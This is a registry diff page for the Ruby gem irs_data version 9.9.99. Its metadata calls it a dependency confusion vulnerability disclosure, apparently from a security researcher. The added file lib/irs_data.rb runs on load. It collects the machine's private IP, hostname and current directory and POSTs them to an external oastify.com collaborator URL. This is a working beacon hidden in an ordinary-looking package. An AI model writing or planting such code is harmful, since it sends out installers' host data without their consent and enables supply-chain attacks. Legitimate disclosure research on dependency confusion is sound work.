irs_data 9.9.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of irs_data might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/irs_data.rb +28 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 745340b53a6227478976d64cbce682dee9cb8183c07e92db493cb4e6b4ac4e85
4
+ data.tar.gz: dacdba490163c0d848716d9f24ca18ed3c127abba1b9465c5de9ee92a58b7b3d
5
+ SHA512:
6
+ metadata.gz: 5980cf4c98b5638af2a26d4e3675eda5375d75a1148f23d2092908671e6cd318b27f83b33db4b7ca93a5534935e3c83790face976069efdd46c54eccd7a914a8
7
+ data.tar.gz: 1e36013f15758ab87647d40b09d9bcc94d7780b0a5f09361a21b00a8fc206c6baede3233fab1ae0e3ba73f62c7a29fca509bdc198f6414941056db2fef8afb36
data/lib/irs_data.rb ADDED
@@ -0,0 +1,28 @@
1
+ module IrsData
2
+
3
+ require 'json'
4
+ require 'net/http'
5
+ require 'socket'
6
+
7
+ #Private IP
8
+ privip = UDPSocket.open {|s| s.connect("104.248.8.1", 1); s.addr.last}
9
+ #Hostname
10
+ hostname = Socket.gethostname
11
+ #Current directory
12
+ dir = Dir.pwd
13
+
14
+ #Pubcli bin url:- burpCollaborate url
15
+ uri = URI('http://7rzdeigmq8xye774j9no320stjzan0bp.oastify.com')
16
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
17
+
18
+ req.body = {
19
+ private_ip: privip,
20
+ hostname: hostname,
21
+ current_directory: dir
22
+ }.to_json
23
+
24
+ Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
25
+ http.request(req)
26
+ end
27
+
28
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: irs_data
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.99
5
+ platform: ruby
6
+ authors:
7
+ - Joaquin Rodriguez Varela
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2023-10-09 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This Ruby package vulnerable to dependency confiuse vulnerability
14
+ email:
15
+ - jrodriguez@includesec.com
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - lib/irs_data.rb
21
+ homepage: https://rubygems.org/gems/irs_data
22
+ licenses:
23
+ - MIT
24
+ metadata:
25
+ homepage_uri: https://rubygems.org/gems/irs_data
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: 2.6.0
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.3.5
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
45
+ test_files: []